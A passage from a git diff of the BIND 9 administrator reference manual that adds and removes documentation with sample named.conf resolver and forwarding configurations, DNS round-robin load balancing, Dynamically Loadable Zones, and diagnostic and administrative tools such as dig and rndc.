+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+           };
+           category default {
+             example_log;
+          };
+        };
+
+        // zone file for the root servers
+        // discretionary zone (see root server discussion above)
+        zone "." {
+          type hint;
+          file "named.root";
+        };
+
+        // zone file for the localhost forward map
+        // discretionary zone depending on hosts file (see discussion)
+        zone "localhost" {
+          type primary;
+          file "masters/localhost-forward.db";
+          notify no;
+        };
+
+        // zone file for the loopback address
+        // necessary zone
+        zone "0.0.127.in-addr.arpa" {
+          type primary;
+          file "localhost.rev";
+          notify no;
+        };
+
+        // zone file for local IP reverse map
+        // discretionary file depending on requirements
+        zone "254.168.192.in-addr.arpa" {
+          type primary;
+          file "192.168.254.rev";
+          notify no;
+        };
+
+The :any:`zone` and :any:`acl` blocks, and the
+:any:`allow-query`, :any:`empty-zones-enable`,
+:any:`file`, :namedconf:ref:`notify`, :any:`recursion`, and
+:any:`type` statements are described in detail in the appropriate
+sections.
+
+As a reminder, the configuration of this resolver does **not** access the DNS
+hierarchy (does not use the public network) for any recursive query for which:
+
+1. The answer is already in the cache.
+
+2. The domain name is **localhost** (zone localhost).
+
+3. Is a reverse-map query for 127.0.0.1 (zone 0.0.127.in-addr.arpa).
+
+4. Is a reverse-map query for 192.168.254/24 (zone 254.168.192.in-addr.arpa).
+
+5. Is a reverse-map query for any local IP (:any:`empty-zones-enable`
+   statement).
+
+All other recursive queries will result in access to the DNS hierarchy to
+resolve the query.
+
+.. _sample_forwarding:
+
+Forwarding Resolver Configuration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This forwarding resolver configuration forwards all recursive queries, other
+than those for the defined zones and those for which the answer is already in
+its cache, to a full-service resolver at the IP address 192.168.250.3, with an
+alternative at 192.168.230.27. The forwarding resolver will cache all responses
+from these servers.  The configuration is closed, in that it defines those IPs
+from which it will accept recursive queries.
+
+A second configuration in which selective forwarding occurs :ref:`is also
+provided<selective_forward_sample>`.
+
+.. code-block:: c
+
+        // forwarding named.conf file
+        // Two corporate subnets we wish to allow queries from
+        // defined in an acl clause
+        acl corpnets {
+          192.168.4.0/24;
+          192.168.7.0/24;
+        };
+
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+          // this is the default
+          recursion yes;
+          // recursive queries only allowed from these ips
+          // and references the acl clause
+          allow-query { corpnets; };
+          // this ensures that any reverse map for private IPs
+          // not defined in a zone file will *not* be passed to the public network
+          // it is the default value
+          empty-zones-enable yes;
+          // this defines the addresses of the resolvers to which queries will be forwarded
+          forwarders {
+            192.168.250.3;
+            192.168.230.27;
+          };
+          // indicates all queries will be forwarded other than for defined zones
+          forward only;
+        };
+
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+          };
+          category default {
+            example_log;
+          };
+        };
+
+        // hints zone file is not required
+
+        // zone file for the localhost forward map
+        // discretionary zone depending on hosts file (see discussion)
+        zone "localhost" {
+          type primary;
+          file "masters/localhost-forward.db";
+          notify no;
+        };
+
+        // zone file for the loopback address
+        // necessary zone
+        zone "0.0.127.in-addr.arpa" {
+          type primary;
+          file "localhost.rev";
+          notify no;
+        };
+
+        // zone file for local IP reverse map
+        // discretionary file depending on requirements
+        zone "254.168.192.in-addr.arpa" {
+          type primary;
+          file "192.168.254.rev";
+          notify no;
+        };
+
+The :any:`zone` and :any:`acl` blocks, and the
+:any:`allow-query`, :any:`empty-zones-enable`,
+:any:`file`, :any:`forward`, :any:`forwarders`,
+:namedconf:ref:`notify`, :any:`recursion`, and :any:`type`
+statements are described in detail in the appropriate sections.
+
+As a reminder, the configuration of this forwarding resolver does **not**
+forward any recursive query for which:
+
+1. The answer is already in the cache.
+
+2. The domain name is **localhost** (zone localhost).
+
+3. Is a reverse-map query for 127.0.0.1 (zone 0.0.127.in-addr.arpa).
+
+4. Is a reverse-map query for 192.168.254/24 (zone 254.168.192.in-addr.arpa).
+
+5. Is a reverse-map query for any local IP (:any:`empty-zones-enable` statement).
+
+All other recursive queries will be forwarded to resolve the query.
+
+.. _selective_forward_sample:
+
+Selective Forwarding Resolver Configuration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This forwarding resolver configuration only forwards recursive queries for the
+zone **example.com** to the resolvers at 192.168.250.3 and 192.168.230.27. All
+other recursive queries, other than those for the defined zones and those for
+which the answer is already in its cache, are handled by this resolver. The
+forwarding resolver will cache all responses from both the public network and
+from the forwarded resolvers.  The configuration is closed, in that it defines
+those IPs from which it will accept recursive queries.
+
+.. code-block:: c
+
+        // selective forwarding named.conf file
+        // Two corporate subnets we wish to allow queries from
+        // defined in an acl clause
+        acl corpnets {
+          192.168.4.0/24;
+          192.168.7.0/24;
+        };
+
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+          // this is the default
+          recursion yes;
+          // recursive queries only allowed from these ips
+          // and references the acl clause
+          allow-query { corpnets; };
+          // this ensures that any reverse map for private IPs
+          // not defined in a zone file will *not* be passed to the public network
+          // it is the default value
+          empty-zones-enable yes;
+
+          // forwarding is not global but selective by zone in this configuration
+        };
+
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+           };
+           category default {
+             example_log;
+          };
+        };
+
+        // zone file for the root servers
+        // discretionary zone (see root server discussion above)
+        zone "." {
+          type hint;
+          file "named.root";
+        };
+
+        // zone file for the localhost forward map
+        // discretionary zone depending on hosts file (see discussion)
+        zone "localhost" {
+          type primary;
+          file "masters/localhost-forward.db";
+          notify no;
+        };
+
+        // zone file for the loopback address
+        // necessary zone
+        zone "0.0.127.in-addr.arpa" {
+          type primary;
+          file "localhost.rev";
+          notify no;
+        };
+
+        // zone file for local IP reverse map
+        // discretionary file depending on requirements
+        zone "254.168.192.in-addr.arpa" {
+          type primary;
+          file "192.168.254.rev";
+          notify no;
+        };
+        // zone file forwarded example.com
+        zone "example.com" {
+          type forward;
+          // this defines the addresses of the resolvers to
+          // which queries for this zone will be forwarded
+          forwarders {
+            192.168.250.3;
+            192.168.230.27;
+          };
+          // indicates all queries for this zone will be forwarded
+          forward only;
+        };
+
+
+The :any:`zone` and :any:`acl` blocks, and the
+:any:`allow-query`, :any:`empty-zones-enable`,
+:any:`file`, :any:`forward`, :any:`forwarders`,
+:namedconf:ref:`notify`, :any:`recursion`, and :any:`type`
+statements are described in detail in the appropriate sections.
+
+As a reminder, the configuration of this resolver does **not** access the DNS
+hierarchy (does not use the public network) for any recursive query for which:
+
+1. The answer is already in the cache.
+
+2. The domain name is **localhost** (zone localhost).
+
+3. Is a reverse-map query for 127.0.0.1 (zone 0.0.127.in-addr.arpa).
+
+4. Is a reverse-map query for 192.168.254/24 (zone 254.168.192.in-addr.arpa).
+
+5. Is a reverse-map query for any local IP (empty-zones-enable statement).
+
+6. Is a query for the domain name **example.com**, in which case it will be
+   forwarded to either 192.168.250.3 or 192.168.230.27 (zone example.com).
+
+All other recursive queries will result in access to the DNS hierarchy to
+resolve the query.
+
+.. _load_balancing:
+
+Load Balancing
+--------------
+
+A primitive form of load balancing can be achieved in the DNS by using multiple
+resource records (RRs) in a :ref:`zone file<zone_file>` (such as multiple A
+records) for one name.
+
+For example, assuming three HTTP servers with network addresses of
+10.0.0.1, 10.0.0.2, and 10.0.0.3, a set of records such as the following
+means that clients will connect to each machine one-third of the time:
+
++-----------+------+----------+----------+----------------------------+
+| Name      | TTL  | CLASS    | TYPE     | Resource Record (RR) Data  |
++-----------+------+----------+----------+----------------------------+
+| www       | 600  |   IN     |   A      |   10.0.0.1                 |
++-----------+------+----------+----------+----------------------------+
+|           | 600  |   IN     |   A      |   10.0.0.2                 |
++-----------+------+----------+----------+----------------------------+
+|           | 600  |   IN     |   A      |   10.0.0.3                 |
++-----------+------+----------+----------+----------------------------+
+
+When a resolver queries for these records, BIND rotates them and
+responds to the query with the records in a random order. In the
+example above, clients randomly receive records in the order 1, 2,
+3; 2, 3, 1; and 3, 1, 2. Most clients use the first record returned
+and discard the rest.
+
+For more detail on ordering responses, refer to the
+:ref:`rrset-order<rrset_ordering>` statement in the
+:namedconf:ref:`options` block.
diff --git a/doc/arm/configuration.rst b/doc/arm/configuration.rst
deleted file mode 100644
index 00f9f6b49b..0000000000
--- a/doc/arm/configuration.rst
+++ /dev/null
@@ -1,339 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. Configuration:
-
-Name Server Configuration
-=========================
-
-In this chapter we provide some suggested configurations, along with
-guidelines for their use. We suggest reasonable values for certain
-option settings.
-
-.. _sample_configuration:
-
-Sample Configurations
----------------------
-
-.. _cache_only_sample:
-
-A Caching-only Name Server
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The following sample configuration is appropriate for a caching-only
-name server for use by clients internal to a corporation. All queries
-from outside clients are refused using the ``allow-query`` option.
-The same effect can be achieved using suitable firewall
-rules.
-
-::
-
-   // Two corporate subnets we wish to allow queries from.
-   acl corpnets { 192.168.4.0/24; 192.168.7.0/24; };
-   options {
-        // Working directory
-        directory "/etc/namedb";
-
-        allow-query { corpnets; };
-   };
-   // Provide a reverse mapping for the loopback
-   // address 127.0.0.1
-   zone "0.0.127.in-addr.arpa" {
-        type primary;
-        file "localhost.rev";
-        notify no;
-   };
-
-.. _auth_only_sample:
-
-An Authoritative-only Name Server
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-This sample configuration is for an authoritative-only server that is
-the primary server for ``example.com`` and a secondary server for the subdomain
-``eng.example.com``.
-
-::
-
-   options {
-        // Working directory
-        directory "/etc/namedb";
-        // Do not allow access to cache
-        allow-query-cache { none; };
-        // This is the default
-        allow-query { any; };
-        // Do not provide recursive service
-        recursion no;
-   };
-
-   // Provide a reverse mapping for the loopback
-   // address 127.0.0.1
-   zone "0.0.127.in-addr.arpa" {
-        type primary;
-        file "localhost.rev";
-        notify no;
-   };
-   // We are the primary server for example.com
-   zone "example.com" {
-        type primary;
-        file "example.com.db";
-        // IP addresses of secondary servers allowed to
-        // transfer example.com
-        allow-transfer {
-         192.168.4.14;
-         192.168.5.53;
-        };
-   };
-   // We are a secondary server for eng.example.com
-   zone "eng.example.com" {
-        type secondary;
-        file "eng.example.com.bk";
-        // IP address of eng.example.com primary server
-        masters { 192.168.4.12; };
-   };
-
-.. _load_balancing:
-
-Load Balancing
---------------
-
-A primitive form of load balancing can be achieved in the DNS by using
-multiple records (such as multiple A records) for one name.
-
-For example, assuming three HTTP servers with network addresses of
-10.0.0.1, 10.0.0.2, and 10.0.0.3, a set of records such as the following
-means that clients will connect to each machine one-third of the time:
-
-+-----------+------+----------+----------+----------------------------+
-| Name      | TTL  | CLASS    | TYPE     | Resource Record (RR) Data  |
-+-----------+------+----------+----------+----------------------------+
-| www       | 600  |   IN     |   A      |   10.0.0.1                 |
-+-----------+------+----------+----------+----------------------------+
-|           | 600  |   IN     |   A      |   10.0.0.2                 |
-+-----------+------+----------+----------+----------------------------+
-|           | 600  |   IN     |   A      |   10.0.0.3                 |
-+-----------+------+----------+----------+----------------------------+
-
-When a resolver queries for these records, BIND rotates them and
-responds to the query with the records in a different order. In the
-example above, clients randomly receive records in the order 1, 2,
-3; 2, 3, 1; and 3, 1, 2. Most clients use the first record returned
-and discard the rest.
-
-For more detail on ordering responses, check the ``rrset-order``
-sub-statement in the ``options`` statement; see :ref:`rrset_ordering`.
-
-.. _ns_operations:
-
-Name Server Operations
-----------------------
-
-.. _tools:
-
-Tools for Use With the Name Server Daemon
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-This section describes several indispensable diagnostic, administrative, 
-and monitoring tools available to the system administrator for
-controlling and debugging the name server daemon.
-
-.. _diagnostic_tools:
-
-Diagnostic Tools
-^^^^^^^^^^^^^^^^
-
-The ``dig``, ``host``, and ``nslookup`` programs are all command-line
-tools for manually querying name servers. They differ in style and
-output format.
-
-``dig``
-   ``dig`` is the most versatile and complete of these lookup tools. It
-   has two modes: simple interactive mode for a single query, and batch
-   mode, which executes a query for each in a list of several query
-   lines. All query options are accessible from the command line.
-
-   ``dig [@server] domain [query-type][query-class][+query-option][-dig-option][%comment]``
-
-   The usual simple use of ``dig`` takes the form
-
-   ``dig @server domain query-type query-class``
-
-   For more information and a list of available commands and options,
-   see the ``dig`` man page.
-
-``host``
-   The ``host`` utility emphasizes simplicity and ease of use. By
-   default, it converts between host names and Internet addresses, but
-   its functionality can be extended with the use of options.
-
-   ``host [-aCdlnrsTwv][-c class][-N ndots][-t type][-W timeout][-R retries]
-   [-m flag][-4][-6] hostname [server]``
-
-   For more information and a list of available commands and options,
-   see the ``host`` man page.
-
-``nslookup``
-   ``nslookup`` has two modes: interactive and non-interactive.
-   Interactive mode allows the user to query name servers for
-   information about various hosts and domains, or to print a list of
-   hosts in a domain. Non-interactive mode is used to print just the
-   name and requested information for a host or domain.
-
-   ``nslookup [-option][ [host-to-find]|[-[server]] ]``
-
-   Interactive mode is entered when no arguments are given (the default
-   name server is used) or when the first argument is a hyphen
-   (``-``) and the second argument is the host name or Internet address of
-   a name server.
-
-   Non-interactive mode is used when the name or Internet address of the
-   host to be looked up is given as the first argument. The optional
-   second argument specifies the host name or address of a name server.
-
-   Due to its arcane user interface and frequently inconsistent
-   behavior, we do not recommend the use of ``nslookup``. Use ``dig``
-   instead.
-
-.. _admin_tools:
-
-Administrative Tools
-^^^^^^^^^^^^^^^^^^^^
-
-Administrative tools play an integral part in the management of a
-server.
-
-``named-checkconf``
-   The ``named-checkconf`` program checks the syntax of a ``named.conf``
-   file.
-
-   ``named-checkconf [-jvz][-t directory][filename]``
-
-``named-checkzone``
-   The ``named-checkzone`` program checks a zone file for syntax and
-   consistency.
-
-   ``named-checkzone [-djqvD][-c class][-o output][-t directory][-w directory]
-   [-k (ignore|warn|fail)][-n (ignore|warn|fail)][-W (ignore|warn)] zone [filename]``
-
-``named-compilezone``
-   This tool is similar to ``named-checkzone,`` but it always dumps the zone content
-   to a specified file (typically in a different format).
-
-``rndc``
-   The remote name daemon control (``rndc``) program allows the system
-   administrator to control the operation of a name server. If ``rndc`` is run
-   without any options, it displays a usage message as
-   follows:
-
-   ``rndc [-c config][-s server][-p port][-y key] command [command...]``
-
-   See :ref:`man_rndc` for details of the available ``rndc``
-   commands.
-
-   ``rndc`` requires a configuration file, since all communication with
-   the server is authenticated with digital signatures that rely on a
-   shared secret, and there is no way to provide that secret other than
-   with a configuration file. The default location for the ``rndc``
-   configuration file is ``/etc/rndc.conf``, but an alternate location
-   can be specified with the ``-c`` option. If the configuration file is
-   not found, ``rndc`` also looks in ``/etc/rndc.key`` (or whatever
-   ``sysconfdir`` was defined when the BIND build was configured). The
-   ``rndc.key`` file is generated by running ``rndc-confgen -a`` as
-   described in :ref:`controls_statement_definition_and_usage`.
-
-   The format of the configuration file is similar to that of
-   ``named.conf``, but is limited to only four statements: the ``options``,
-   ``key``, ``server``, and ``include`` statements. These statements are
-   what associate the secret keys to the servers with which they are
-   meant to be shared. The order of statements is not significant.
-
-   The ``options`` statement has three clauses: ``default-server``,
-   ``default-key``, and ``default-port``. ``default-server`` takes a
-   host name or address argument and represents the server that is
-   contacted if no ``-s`` option is provided on the command line.
-   ``default-key`` takes the name of a key as its argument, as defined
-   by a ``key`` statement. ``default-port`` specifies the port to which
-   ``rndc`` should connect if no port is given on the command line or in
-   a ``server`` statement.
-
-   The ``key`` statement defines a key to be used by ``rndc`` when
-   authenticating with ``named``. Its syntax is identical to the ``key``
-   statement in ``named.conf``. The keyword ``key`` is followed by a key
-   name, which must be a valid domain name, though it need not actually
-   be hierarchical; thus, a string like ``rndc_key`` is a valid name.
-   The ``key`` statement has two clauses: ``algorithm`` and ``secret``.
-   While the configuration parser accepts any string as the argument
-   to ``algorithm``, currently only the strings ``hmac-md5``,
-   ``hmac-sha1``, ``hmac-sha224``, ``hmac-sha256``,
-   ``hmac-sha384``, and ``hmac-sha512`` have any meaning. The secret
-   is a Base64-encoded string as specified in :rfc:`3548`.
-
-   The ``server`` statement associates a key defined using the ``key``
-   statement with a server. The keyword ``server`` is followed by a host
-   name or address. The ``server`` statement has two clauses: ``key``
-   and ``port``. The ``key`` clause specifies the name of the key to be
-   used when communicating with this server, and the ``port`` clause can
-   be used to specify the port ``rndc`` should connect to on the server.
-
-   A sample minimal configuration file is as follows:
-
-   ::
-
-      key rndc_key {
-           algorithm "hmac-sha256";
-           secret
-             "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
-      };
-      options {
-           default-server 127.0.0.1;
-           default-key    rndc_key;
-      };
-
-   This file, if installed as ``/etc/rndc.conf``, allows the
-   command:
-
-   ``$ rndc reload``
-
-   to connect to 127.0.0.1 port 953 and causes the name server to reload,
-   if a name server on the local machine is running with the following
-   controls statements:
-
-   ::
-
-      controls {
-          inet 127.0.0.1
-              allow { localhost; } keys { rndc_key; };
-      };
-
-   and it has an identical key statement for ``rndc_key``.
-
-   Running the ``rndc-confgen`` program conveniently creates an
-   ``rndc.conf`` file, and also displays the corresponding
-   ``controls`` statement needed to add to ``named.conf``.
-   Alternatively, it is possible to run ``rndc-confgen -a`` to set up an
-   ``rndc.key`` file and not modify ``named.conf`` at all.
-
-Signals
-~~~~~~~
-
-Certain Unix signals cause the name server to take specific actions, as
-described in the following table. These signals can be sent using the
-``kill`` command.
-
-+--------------+-------------------------------------------------------+
-| ``SIGHUP``   | Causes the server to read ``named.conf`` and reload   |
-|              | the database.                                         |
-+--------------+-------------------------------------------------------+
-| ``SIGTERM``  | Causes the server to clean up and exit.               |
-+--------------+-------------------------------------------------------+
-| ``SIGINT``   | Causes the server to clean up and exit.               |
-+--------------+-------------------------------------------------------+
-
-.. include:: plugins.rst
diff --git a/doc/arm/dlz.inc.rst b/doc/arm/dlz.inc.rst
new file mode 100644
index 0000000000..b6f7473c90
--- /dev/null
+++ b/doc/arm/dlz.inc.rst
@@ -0,0 +1,129 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _dlz-info:
+
+Dynamically Loadable Zones (DLZ)
+--------------------------------
+
+Dynamically Loadable Zones (DLZ) are an extension to BIND 9 that allows
+zone data to be retrieved directly from an external database. There is
+no required format or schema. DLZ modules exist for several different
+database backends, including MySQL and LDAP, and can be
+written for any other.
+
+The DLZ module provides data to :iscman:`named` in text
+format, which is then converted to DNS wire format by :iscman:`named`. This
+conversion, and the lack of any internal caching, places significant
+limits on the query performance of DLZ modules. Consequently, DLZ is not
+recommended for use on high-volume servers. However, it can be used in a
+hidden primary configuration, with secondaries retrieving zone updates via
+AXFR. Note, however, that DLZ has no built-in support for DNS notify;
+secondary servers are not automatically informed of changes to the zones in the
+database.
+
+Configuring DLZ
+~~~~~~~~~~~~~~~
+.. namedconf:statement:: dlz
+   :tags: zone
+   :short: Configures a Dynamically Loadable Zone (DLZ) database in :iscman:`named.conf`.
+
+A DLZ database is configured with a :any:`dlz` statement in :iscman:`named.conf`:
+
+::
+
+       dlz example {
+       database "dlopen driver.so args";
+       search yes;
+       };
+
+
+This specifies a DLZ module to search when answering queries; the module
+is implemented in ``driver.so`` and is loaded at runtime by the dlopen
+DLZ driver. Multiple :any:`dlz` statements can be specified.
+
+
+.. namedconf:statement:: search
+   :tags: query
+   :short: Specifies whether a Dynamically Loadable Zone (DLZ) module is queried for an answer to a query name.
+
+When answering a query, all DLZ modules with :namedconf:ref:`search` set to ``yes`` are
+queried to see whether they contain an answer for the query name. The best
+available answer is returned to the client.
+
+The :namedconf:ref:`search` option in the above example can be omitted, because
+``yes`` is the default value.
+
+If :namedconf:ref:`search` is set to ``no``, this DLZ module is *not* searched
+for the best match when a query is received. Instead, zones in this DLZ
+must be separately specified in a zone statement. This allows users to
+configure a zone normally using standard zone-option semantics, but
+specify a different database backend for storage of the zone's data.
+For example, to implement NXDOMAIN redirection using a DLZ module for
+backend storage of redirection rules:
+
+::
+
+       dlz other {
+              database "dlopen driver.so args";
+              search no;
+       };
+
+       zone "." {
+              type redirect;
+              dlz other;
+       };
+
+
+Sample DLZ Module
+~~~~~~~~~~~~~~~~~
+
+For guidance in the implementation of DLZ modules, the directory
+``contrib/dlz/example`` contains a basic dynamically linkable DLZ
+module - i.e., one which can be loaded at runtime by the "dlopen" DLZ
+driver. The example sets up a single zone, whose name is passed to the
+module as an argument in the :any:`dlz` statement:
+
+::
+
+       dlz other {
+              database "dlopen driver.so example.nil";
+       };
+
+
+In the above example, the module is configured to create a zone
+"example.nil", which can answer queries and AXFR requests and accept
+DDNS updates. At runtime, prior to any updates, the zone contains an
+SOA, NS, and a single A record at the apex:
+
+::
+
+    example.nil.  3600    IN      SOA     example.nil. hostmaster.example.nil. (
+                              123 900 600 86400 3600
+                          )
+    example.nil.  3600    IN      NS      example.nil.
+    example.nil.  1800    IN      A       10.53.0.1
+
+
+The sample driver can retrieve information about the
+querying client and alter its response on the basis of this
+information. To demonstrate this feature, the example driver responds to
+queries for "source-addr.``zonename``>/TXT" with the source address of
+the query. Note, however, that this record will *not* be included in
+AXFR or ANY responses. Normally, this feature is used to alter
+responses in some other fashion, e.g., by providing different address
+records for a particular name depending on the network from which the
+query arrived.
+
+Documentation of the DLZ module API can be found in
+``contrib/dlz/example/README``. This directory also contains the header
+file ``dlz_minimal.h``, which defines the API and should be included by
+any dynamically linkable DLZ module.
diff --git a/doc/arm/dlz.rst b/doc/arm/dlz.rst
deleted file mode 100644
index c1c8da1df8..0000000000
--- a/doc/arm/dlz.rst
+++ /dev/null
@@ -1,133 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _dlz-info:
-
-Dynamically Loadable Zones (DLZ)
---------------------------------
-
-Dynamically Loadable Zones (DLZ) are an extension to BIND 9 that allows
-zone data to be retrieved directly from an external database. There is
-no required format or schema. DLZ drivers exist for several different
-database backends, including PostgreSQL, MySQL, and LDAP, and can be
-written for any other.
-
-Historically, DLZ drivers had to be statically linked with the ``named``
-binary and were turned on via a configure option at compile time (for
-example, ``configure --with-dlz-ldap``). The drivers
-provided in the BIND 9 tarball in ``contrib/dlz/drivers`` are still
-linked this way.
-
-In BIND 9.8 and higher, it is possible to link some DLZ modules
-dynamically at runtime, via the DLZ "dlopen" driver, which acts as a
-generic wrapper around a shared object implementing the DLZ API. The
-"dlopen" driver is linked into ``named`` by default, so configure
-options are no longer necessary when using these dynamically linkable
-drivers; they are still needed for the older drivers in
-``contrib/dlz/drivers``.
-
-The DLZ module provides data to ``named`` in text
-format, which is then converted to DNS wire format by ``named``. This
-conversion, and the lack of any internal caching, places significant
-limits on the query performance of DLZ modules. Consequently, DLZ is not
-recommended for use on high-volume servers. However, it can be used in a
-hidden primary configuration, with secondaries retrieving zone updates via
-AXFR. Note, however, that DLZ has no built-in support for DNS notify;
-secondary servers are not automatically informed of changes to the zones in the
-database.
-
-Configuring DLZ
-~~~~~~~~~~~~~~~
-
-A DLZ database is configured with a ``dlz`` statement in ``named.conf``:
-
-::
-
-       dlz example {
-       database "dlopen driver.so args";
-       search yes;
-       };
-
-
-This specifies a DLZ module to search when answering queries; the module
-is implemented in ``driver.so`` and is loaded at runtime by the dlopen
-DLZ driver. Multiple ``dlz`` statements can be specified; when answering
-a query, all DLZ modules with ``search`` set to ``yes`` are queried
-to see whether they contain an answer for the query name. The best
-available answer is returned to the client.
-
-The ``search`` option in the above example can be omitted, because
-``yes`` is the default value.
-
-If ``search`` is set to ``no``, this DLZ module is *not* searched
-for the best match when a query is received. Instead, zones in this DLZ
-must be separately specified in a zone statement. This allows users to
-configure a zone normally using standard zone-option semantics, but
-specify a different database backend for storage of the zone's data.
-For example, to implement NXDOMAIN redirection using a DLZ module for
-backend storage of redirection rules:
-
-::
-
-       dlz other {
-       database "dlopen driver.so args";
-       search no;
-       };
-
-       zone "." {
-       type redirect;
-       dlz other;
-       };
-
-
-Sample DLZ Driver
-~~~~~~~~~~~~~~~~~
-
-For guidance in the implementation of DLZ modules, the directory
-``contrib/dlz/example`` contains a basic dynamically linkable DLZ
-module - i.e., one which can be loaded at runtime by the "dlopen" DLZ
-driver. The example sets up a single zone, whose name is passed to the
-module as an argument in the ``dlz`` statement:
-
-::
-
-       dlz other {
-       database "dlopen driver.so example.nil";
-       };
-
-
-In the above example, the module is configured to create a zone
-"example.nil", which can answer queries and AXFR requests and accept
-DDNS updates. At runtime, prior to any updates, the zone contains an
-SOA, NS, and a single A record at the apex:
-
-::
-
-    example.nil.  3600    IN      SOA     example.nil. hostmaster.example.nil. (
-                              123 900 600 86400 3600
-                          )
-    example.nil.  3600    IN      NS      example.nil.
-    example.nil.  1800    IN      A       10.53.0.1
-
-
-The sample driver can retrieve information about the
-querying client and alter its response on the basis of this
-information. To demonstrate this feature, the example driver responds to
-queries for "source-addr.``zonename``>/TXT" with the source address of
-the query. Note, however, that this record will *not* be included in
-AXFR or ANY responses. Normally, this feature is used to alter
-responses in some other fashion, e.g., by providing different address
-records for a particular name depending on the network from which the
-query arrived.
-
-Documentation of the DLZ module API can be found in
-``contrib/dlz/example/README``. This directory also contains the header
-file ``dlz_minimal.h``, which defines the API and should be included by
-any dynamically linkable DLZ module.
diff --git a/doc/arm/dns-ops.inc.rst b/doc/arm/dns-ops.inc.rst
new file mode 100644
index 0000000000..abb6bcf766
--- /dev/null
+++ b/doc/arm/dns-ops.inc.rst
@@ -0,0 +1,243 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _ns_operations:
+
+Name Server Operations
+----------------------
+
+.. _tools:
+
+Tools for Use With the Name Server Daemon
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This section describes several indispensable diagnostic, administrative,
+and monitoring tools available to the system administrator for
+controlling and debugging the name server daemon.
+
+.. _diagnostic_tools:
+
+Diagnostic Tools
+^^^^^^^^^^^^^^^^
+
+The :iscman:`dig`, :iscman:`host`, and :iscman:`nslookup` programs are all command-line
+tools for manually querying name servers. They differ in style and
+output format.
+
+:iscman:`dig`
+   :iscman:`dig` is the most versatile and complete of these lookup tools. It
+   has two modes: simple interactive mode for a single query, and batch
+   mode, which executes a query for each in a list of several query
+   lines. All query options are accessible from the command line.
+
+   For more information and a list of available commands and options,
+   see :ref:`man_dig`.
+
+:iscman:`host`
+   The :iscman:`host` utility emphasizes simplicity and ease of use. By
+   default, it converts between host names and Internet addresses, but
+   its functionality can be extended with the use of options.
+
+   For more information and a list of available commands and options,
+   see :ref:`man_host`.
+
+:iscman:`nslookup`
+   :iscman:`nslookup` has two modes: interactive and non-interactive.
+   Interactive mode allows the user to query name servers for
+   information about various hosts and domains, or to print a list of
+   hosts in a domain. Non-interactive mode is used to print just the
+   name and requested information for a host or domain.
+
+   Due to its arcane user interface and frequently inconsistent
+   behavior, we do not recommend the use of :iscman:`nslookup`. Use :iscman:`dig`
+   instead.
+
+.. _admin_tools:
+
+Administrative Tools
+^^^^^^^^^^^^^^^^^^^^
+
+Administrative tools play an integral part in the management of a
+server.
+
+:iscman:`named-checkconf`
+   The :iscman:`named-checkconf` program checks the syntax of a :iscman:`named.conf`
+   file.
+
+   For more information and a list of available commands and options,
+   see :ref:`man_named-checkconf`.
+
+:iscman:`named-checkzone`
+   The :iscman:`named-checkzone` program checks a zone file for syntax and
+   consistency.
+
+   For more information and a list of available commands and options,
+   see :ref:`man_named-checkzone`.
+
+:iscman:`named-compilezone`
+   This tool is similar to :iscman:`named-checkzone` but it always dumps the zone content
+   to a specified file (typically in a different format).
+
+   For more information and a list of available commands and options,
+   see :ref:`man_named-compilezone`.
+
+.. _ops_rndc:
+
